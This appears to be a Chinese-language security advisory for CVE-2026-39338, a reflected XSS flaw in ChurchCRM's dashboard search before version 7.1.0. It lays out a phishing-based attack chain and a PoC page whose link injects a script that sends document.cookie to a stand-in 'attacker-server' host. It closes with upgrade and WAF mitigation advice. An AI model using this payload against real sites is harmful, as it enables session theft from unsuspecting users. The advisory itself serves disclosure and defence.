CVE-2026-39338 CVSS 6.1 中危

CVE-2026-39338 ChurchCRM反射型XSS漏洞

披露日期: 2026-04-07

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-39338

漏洞类型

跨站脚本攻击 (XSS)

CVSS评分

6.1 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

ChurchCRM

漏洞概述

ChurchCRM是一个开源的教堂管理系统。在7.1.0版本之前，其仪表板接受的搜索参数中存在盲注反射型跨站脚本（XSS）漏洞。应用程序在将用户提供的输入渲染到浏览器的DOM之前，未能对其进行消毒或编码。尽管由于恶意载荷导致的API请求格式错误，应用程序最终返回HTTP 500错误，但浏览器的JavaScript引擎会在错误响应返回之前解析并执行注入的<script>标签，从而导致无论服务器端错误如何，代码都能成功执行。该漏洞在7.1.0版本中已修复。

技术细节

该漏洞属于反射型XSS，其核心在于ChurchCRM的搜索接口对用户输入缺乏有效的输入验证和输出编码。攻击者可以构造恶意URL，将JavaScript代码嵌入搜索参数中。当受害者访问该链接时，服务器端处理逻辑虽然会在后续步骤因API请求畸形而抛出HTTP 500错误，但在错误响应完全生成并阻断页面之前，前端浏览器已经解析了包含恶意脚本的DOM结构。由于浏览器的渲染机制，恶意脚本在错误发生前即被加载和执行。这使得攻击者能够绕过服务端错误检测，在受害者浏览器上下文中执行任意JavaScript代码，进而窃取Cookie、会话令牌或重定向用户。

攻击链分析

STEP 1

步骤1：侦察

攻击者识别出目标正在使用ChurchCRM系统，且版本低于7.1.0。

STEP 2

步骤2：武器化

攻击者构造包含恶意JavaScript代码的URL，将载荷注入到搜索参数中（例如<script>...</script>）。

STEP 3

步骤3：交付

攻击者通过钓鱼邮件或社交媒体将恶意链接发送给目标用户。

STEP 4

步骤4：利用

受害者点击链接。浏览器请求页面，服务器返回500错误，但浏览器在错误处理前解析并执行了注入的脚本。

STEP 5

步骤5：达成目标

恶意代码在受害者浏览器中执行，窃取Session Cookie或执行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!--
PoC for CVE-2026-39338 (Blind Reflected XSS in ChurchCRM)
Target: ChurchCRM < 7.1.0
Parameter: search parameter (e.g., q or search query)
-->

<html>
<body>
<h1>CVE-2026-39338 PoC</h1>
<p>Click the link below to trigger the XSS. Note that the server may return a 500 error, but the script executes before the response is finalized.</p>

<!-- Malicious URL construction -->
<a href="http://target-churchcrm-url/Search.php?q=<script>alert('XSS_CVE-2026-39338');fetch('http://attacker-server/?b='+document.cookie)</script>">
  Click to Exploit
</a>

<script>
  // Automated verification script (if needed)
  // var payload = "<script>fetch('http://attacker-server/?c='+document.cookie)<\/script>";
  // window.location.href = "http://target-url/Search.php?q=" + encodeURIComponent(payload);
</script>
</body>
</html>

影响范围

ChurchCRM < 7.1.0

防御指南

临时缓解措施

建议用户立即升级至7.1.0或更高版本以彻底修复此漏洞。在无法立即升级的情况下，应在Web应用防火墙（WAF）中部署规则，拦截包含常见XSS特征（如<script>标签、javascript:等）的请求流量，特别是针对搜索接口的输入进行重点过滤。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表